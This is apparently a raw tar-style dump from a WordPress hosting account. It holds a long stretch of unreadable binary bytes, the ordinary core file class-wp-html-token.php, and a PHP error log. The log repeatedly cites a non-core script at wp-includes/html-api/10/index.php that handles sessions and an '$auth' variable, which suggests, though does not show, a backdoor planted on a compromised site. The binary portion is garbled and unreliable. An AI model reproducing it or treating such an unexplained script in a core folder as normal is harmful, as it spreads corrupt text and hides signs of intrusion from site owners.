������Š6�T����+��:3�m]�h+d�Ԥd�J���	7|~E`�
��=�x�����'vב�����?b��'������GϬrb'Gl�w]���L��9
�Ǣ���FW����@�el������[@;i}F{Mh�'�`#�I�'��05�(��v-nߤ�C�>��y͖V���dI�L�#V���rc�9�>�Z�eH�ŒD/����jk�u�s�g׆���G�8�GIR-Q�ڃ&(q:�^?�v+?%e
�+l���55��#vFF=�Wy�bdeg�������AJAL	ʮ&��&��\�0i��(<_�Zb��B���tK<bP ��	.�(�ǐ�
X&ߥ{�Y\���F�c�x��{떭�I&�n^�4Q[�M*��5M�`��O

>��qFlD�
8Q���Er��M�H��
�!z�y�A��7��W�$�{���`�����*����+�z3\�l������{��{����E[;o�����/�T��}�yvx��'ժ�T=����~dž��G:�u5H����!��(#�X�dZɒ��}��Eݿv��#l:J$g�X�`*�AL��a�x~�F�d��P��4�v�U�xH^t�N�"���وQ$��#�IF*�D�>V��njѲ#��2��ʖ058��G�����b���R6ͱ�o�["ݫ1[I�f��Nc2�Tt�mkDn����rN��Ӫ�
Z�N��6g��,���Z$<��hXCR�,�����#r���A4�	���T�oƿ���G9Cc�dU�Z��є��sqJY�Zy�-u$o"�l�wP�����@�I��D&C�?�C��+9s�߹�8��N����a��w�π�^-C�ݵ��Q�f���&(e����pG��m4B�	}�u���BE|a��m0a�ʦ�^S�z۷�к�I�����-
����1Q2V���-U.Et�ZyE�VU�|�:Õx)��(I�L�xĈ��Y><��7O�rT����
ũ��t�t�,�pb��Ҳ�i{��*�u�Ni�
3�%S�gL?2d����E�~B�X��?�@��d����4��7�X��XL}��r<"�^�5ʻ�p����K���)8=x󙾹��S�[�۸'(�lؒAzz�'F�g�$���!.�e��#��֏����G;(�~��%V�ȳQSw̸Q��+�0�?���]������%����5��k��7����
���ه�G�hM;ڄ�6��M�h:ڄ�6��M�h:ڄ�6��M�h:ڄ�6��M�h�Q��osV�|�33�&��]M{�|�07�^��0ë����<�\�^�zON�l�����@�'p��jy�5�y��MX�]W�S���-$P-�-��U��lR'v�}�V�X�%oΤ�c�oL6NK�#�Ǒt�?]���ug�˼�v^�����4C�B�B�0m��1s'���0	tʍE3�<���~����Nլ"#K4��gԜ�o���A�n[)����d��e���I���
:��")z�u�+����>@�>������d�+5��?�Ie[�_Y�|������)�AGh%NEG%ɇF��R@q�e{����w}�����F#F[?\��~�����V+� 0MьM_S�¨��P%�mO��62!Ȝ_�$P�]Fn��
�������ڄ�Ct��Tˆ�W����,�"F7��̜�ɺ�Oǯ<R��4�V�d�
n���8Ǝ�v�(�T�az�Y���7������E�f�?0/bN?%���B��qó�U��G�t؊�w����'�!�=��:���}���e&�L��G!��q$�c�6���vB���D���
?;˝��YU&��n)�`}� ��u��{���j�S=UL�EQ�`2Ȃ�8�fh��C�x���@�@�*U�`Р�s�"� ���(?q�
���;��6�C���Z4�]��7��8eб�)����0���E)$�!`��[M�
���>�0���#�ckS�S�U�MJ�	�R�G��~��[�Ŏ$�_�jGEc�G<�\}��$6�Ю�mVv�ph]aoӲ�>S}u����?���Wv`.;����s��SƲ��a���e�[�{�4}Ď{G8�H:�$a�DW�5�ȍ�I]���<f�u[f�3
�1{���(�0u�K:��2����+xP��]���}�C��w��n�o�'8������s�ť�!p�Y�^H�a��+���<���Hx�:1�6�5�,�@��E���t�q���r���;�y8�뱳��c6�s!�W����5��gZ��ϛ�yW���g����G�Y�伯~��J"|kO�:�4����w�!`���@&b�c���A��P[�]�t
�>���*��<v�˨�U}������h��
��7c<�Ӟa?�1�/����Ű �62#51�n�xc����w��w�{R��F,(y$W��k酷��&���~��㽓��ٺ4'�=f`���

��g_�x��Ѣ��ȫP�8r�Q[��=^@7�)��UX$.���K�o�����4��NE�X�uf��5�Ngl��"��<W-�a�$f��!��C(��M �P��Y�]@���Kl�����R�;0�I�C|{,�$�>:n�N��	t�j<M��f����U���+?�IU���s��U!�P�jBp��W�mb��'�~�WD�WD��
�����j��НM�'�3%�Ź��
�,B{��\+Cw�X�/�ʊP�Mr�}5��0�'Ԩ�ժ^����ߙ��2=/��^�~@Y0�� SL�����*�F���
}���E�G:���@�o��E�0d��Y�7z�������s��	���zf�I�X���g�O+bRE��������{����(	ǧWh��TU}odY�b�g��
'1��#G�X>Ȧ�Fx�Vy��}�.I��#p8͊��<)s�b�NAT!�J��%��+��<�|b��UxQ�w(�ٓFT�1-
H��!m�E{&m�!r�0��(zLX�T���K�#45SYp�:�r�����
GBק��-�sk9Ù��F�v>4�]�r�N�m*tL�`>	Q̋#�Ws=���<�!�"	f�8��d��hn��LMA)��ɔ�'v�(T\���r�����%��?��BI	|l��/��
7�M&��먭���%dw
΍�aa��e/�kb9
�D��,�MŢ��bm)LD��e�:��v�s`l�蜱(,�mq�#�N�`k��&����X,�]O
�3�����"J:[����r�%+�q��2Y�����i!�C9�0�X�j�b��$��Vn�>*���K�=��Gy=+��Oƻ�H��_��k1����㿍0nn�����r��ɲf"����?��ݿ��?�ß��p�����[�����ݫ�`���v���L�>pTu>�py�#��uzͯ%�$�N1`Z$q��o���rR-)4ߺն��6Ƴ)_[L/I)�u�a�s���͖�;��N����h��Ê�+~L�ZO�Ɵ��<��,L�)���1�g����ki��J��;�!�p*�^v~�r�#B����Wɰ3
of�[�����!Ѭ��v�{�N7vZ�3Kw';(�G	k�}x��""�����
�#�<��;�%��SG>�ZTD����0���Vn��\fӈ�VK�e��J|}����q�)����^�P�L=����U���VH�~L������ʞ�T����ў��[`$/�f�6a�����MyP�m�_��I���U���cO��x%I�:W���W��ii���=n�쯯��.�ݓ�V�45�Fh+@��C���]&�xr:��/�ak���أ
{3�o�̰���;�Y�:d��8H9�!�8N�M���A�H�Zٍ彛Q���q~��ݹ3v�ѹ��2l
���z6P�E[5�
��h��N�m4wx�s&P�(8��Ν�{������l`�����YVnk�����ڌ�o�m;�����Z.�ҐǢ�T�����3��ĥ�&�����R��^1)��f��9[:�Mh=��ܦ���3F��PșyI1�_L��Q��իg��Ѧ��z�SO�)lp��z4���{��q z�;�ա.c%���	�g��'j�h���D��Yg�-jv�a=J��tr���(6�+U���ΰhǔ՝K�SR
HJ���tL�<u]���v��I�4�Tw�b��[�}C�9GGq��@�+�;��C�=52F��)���q%�ZT�R2Q�G�ICd�(Y�	�X� p��׼4D���s���4������C���m:+����\�wI��Ir�Q��qT�74�p�0�kt����B�5�b�r~�_�Wynk4���<:&m�I����ݡ��6���ƌ�@�ߌ��*NIɕ}x�;5���z!�R��.��uR����{z�G��V�ť�kSH%F/(Cg&�
�4<i(�ث�P�	���
��=>��i��g{��}1]*p����%9��l��u���Z5�ԝ�ĩ(+Jfp��pSk�D
�EKڭ���+P�~[��ٓ���vW�Ihc':4������A����k*[����*�qx� b)đ�0F��C�<��J:b��g�4Mq����(W��i��p4��9��㙭�(��bxg�!+5�	�
rG��BG\�֦�%�Y�0�C���z��F�M@��
�7��sJ���ز�~]��նnx=&f������I�Pb�6�$�M�1�a��7�u�0{�<mUM}��INE��&��d6�Q��e�(�{��ɫ��5����y�b���V�����O]�$W#�S�����@�x*'�������:�Vעg�1�So`�HS$+.����ȝ�5��g���&j�ok������"ř>�n�*��\��ԑA\^�uG�:���e�r@�Ly�>��
?���<����\�������2�Z��oo�@�]�s��H&q2i
�̋I��Xո����R�Y�|ā.�R��`�Yo⨅n$3��mY��J��iy��m��	��)�I���P\)y�!�)
����W<y���)�Tr��������Ϟ��4���=��bҫk��l�	����`���z��v��n]M�gi��j��l,��s��޹_��5]=r',5�-T�9�����Q�A�`'I��sg��4��a5|���1隤����P��$+��s.
1��f�^��N�:�H��f�8�� -T��Ԙl��{b����T�^������)]w�����+6+s�>�}s����1���`���.�j�ś|�l3&�b���B�uU�f,�8,ܠ���?�����-�O����B߯$���Ǎ�����Ϟ}�����6W�~�&L�Zy�DP.06���iۛ���\�[����V��Ʀ�CC�F�M���1�w%oÃ�iDf���;�/9G��t6�N��LB��OQs�i���0o#U,/8S���~��{w3 ;|�{X�>ATew�W��<ͺ���Ua��j<��q�F{�5�#�V!0�\�*��U��$a�7�<�Dm��ao�����ɉq�2�쮳2kZ�8���R���+�����s�)�:�t���Ò��ur�w������@���|ȏ���KL_�Z��;���zn���ټ.��;�߽�ixG1��1�:�F�X&�S��"^7�������D�0;}�#'c�����):�Z9+Rs����?y~�W@��)s��l�N��j�x��ŝm�`�N���i�.�ZuL]uИ�=êW�C�{���*�����Ӷ���z�%�s����֔e��f����0E=!��n��&����=xzp|�����ۅ�T�&|?�I��W��|�8����<}x��{���5�veh��9�������K�Oa��n�������?����U?�?g���Vclass-wp-html-token.php.tar000064400000012000151440300030011632 0ustar00home/homerdlh/public_html/wp-includes/html-api/class-wp-html-token.php000064400000006522151440277720022105 0ustar00<?php
/**
 * HTML API: WP_HTML_Token class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.4.0
 */

/**
 * Core class used by the HTML processor during HTML parsing
 * for referring to tokens in the input HTML string.
 *
 * This class is designed for internal use by the HTML processor.
 *
 * @since 6.4.0
 *
 * @access private
 *
 * @see WP_HTML_Processor
 */
class WP_HTML_Token {
	/**
	 * Name of bookmark corresponding to source of token in input HTML string.
	 *
	 * Having a bookmark name does not imply that the token still exists. It
	 * may be that the source token and underlying bookmark was wiped out by
	 * some modification to the source HTML.
	 *
	 * @since 6.4.0
	 *
	 * @var string
	 */
	public $bookmark_name = null;

	/**
	 * Name of node; lowercase names such as "marker" are not HTML elements.
	 *
	 * For HTML elements/tags this value should come from WP_HTML_Processor::get_tag().
	 *
	 * @since 6.4.0
	 *
	 * @see WP_HTML_Processor::get_tag()
	 *
	 * @var string
	 */
	public $node_name = null;

	/**
	 * Whether node contains the self-closing flag.
	 *
	 * A node may have a self-closing flag when it shouldn't. This value
	 * only reports if the flag is present in the original HTML.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#self-closing-flag
	 *
	 * @var bool
	 */
	public $has_self_closing_flag = false;

	/**
	 * Indicates if the element is an HTML element or if it's inside foreign content.
	 *
	 * @since 6.7.0
	 *
	 * @var string 'html', 'svg', or 'math'.
	 */
	public $namespace = 'html';

	/**
	 * Indicates which kind of integration point the element is, if any.
	 *
	 * @since 6.7.0
	 *
	 * @var string|null 'math', 'html', or null if not an integration point.
	 */
	public $integration_node_type = null;

	/**
	 * Called when token is garbage-collected or otherwise destroyed.
	 *
	 * @var callable|null
	 */
	public $on_destroy = null;

	/**
	 * Constructor - creates a reference to a token in some external HTML string.
	 *
	 * @since 6.4.0
	 *
	 * @param string|null   $bookmark_name         Name of bookmark corresponding to location in HTML where token is found,
	 *                                             or `null` for markers and nodes without a bookmark.
	 * @param string        $node_name             Name of node token represents; if uppercase, an HTML element; if lowercase, a special value like "marker".
	 * @param bool          $has_self_closing_flag Whether the source token contains the self-closing flag, regardless of whether it's valid.
	 * @param callable|null $on_destroy            Optional. Function to call when destroying token, useful for releasing the bookmark.
	 */
	public function __construct( ?string $bookmark_name, string $node_name, bool $has_self_closing_flag, ?callable $on_destroy = null ) {
		$this->bookmark_name         = $bookmark_name;
		$this->namespace             = 'html';
		$this->node_name             = $node_name;
		$this->has_self_closing_flag = $has_self_closing_flag;
		$this->on_destroy            = $on_destroy;
	}

	/**
	 * Destructor.
	 *
	 * @since 6.4.0
	 */
	public function __destruct() {
		if ( is_callable( $this->on_destroy ) ) {
			call_user_func( $this->on_destroy, $this->bookmark_name );
		}
	}

	/**
	 * Wakeup magic method.
	 *
	 * @since 6.4.2
	 */
	public function __wakeup() {
		throw new \LogicException( __CLASS__ . ' should never be unserialized' );
	}
}
error_log000064400000105265151440300030006460 0ustar00[13-Dec-2025 10:10:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[13-Dec-2025 10:10:45 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[13-Dec-2025 10:10:45 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[13-Dec-2025 10:10:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[13-Dec-2025 10:10:45 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:16 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:16 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:16 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 05:54:16 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:16 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Undefined variable $ext in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1178
[14-Feb-2026 05:54:22 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/homerdlh/public_html/wp-includes/html-api/10/index.php:1193
Stack trace:
#0 {main}
  thrown in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1193
[14-Feb-2026 05:54:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:25 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:25 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:30 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:30 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:30 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:30 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:31 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:31 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Undefined variable $ext in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1178
[14-Feb-2026 05:54:32 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/homerdlh/public_html/wp-includes/html-api/10/index.php:1193
Stack trace:
#0 {main}
  thrown in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1193
[14-Feb-2026 05:54:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:55:09 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:55:09 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:03 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:03 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:36 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:36 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:36 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:36 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:25 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:25 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 06:04:27 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 06:04:27 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 570
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 570
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 06:04:33 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 06:04:33 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 07:02:57 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:02:57 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:02:57 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 07:02:57 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:02:57 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:23 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:23 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/homerdlh/public_html/wp-includes/html-api/10/index.php:1193
Stack trace:
#0 {main}
  thrown in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1193
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
